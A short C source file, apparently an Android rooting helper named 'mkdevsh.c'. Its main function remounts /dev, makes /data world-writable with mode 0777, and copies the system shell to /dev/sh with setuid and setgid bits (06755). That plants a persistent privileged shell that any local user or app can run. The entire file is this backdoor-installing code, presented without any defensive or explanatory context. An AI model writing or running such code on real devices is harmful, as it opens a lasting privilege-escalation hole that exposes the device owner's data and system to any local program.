mkdevsh.c

#include <sys/mount.h>
#include <fcntl.h>

static void filecopy(const char* src, const char* dst, int mode)
{
    char buf[0x1000];
   int ret;
    int fd = open(dst, O_WRONLY | O_CREAT);
    int fd2 = open(src, O_RDONLY);
    int len;
    while((len = read(fd2, buf, sizeof(buf))) !=0) {
        write(fd, buf, len);
    }
    close(fd);
    close(fd2);
    ret = chmod(dst, mode);
}


int main(int argc, const char**argv)
{
        mount("/dev", "/dev",  0, MS_REMOUNT, 0);
        chmod("/data", 0777);
        filecopy("/system/bin/sh", "/dev/sh", 06755);
        return 0;
}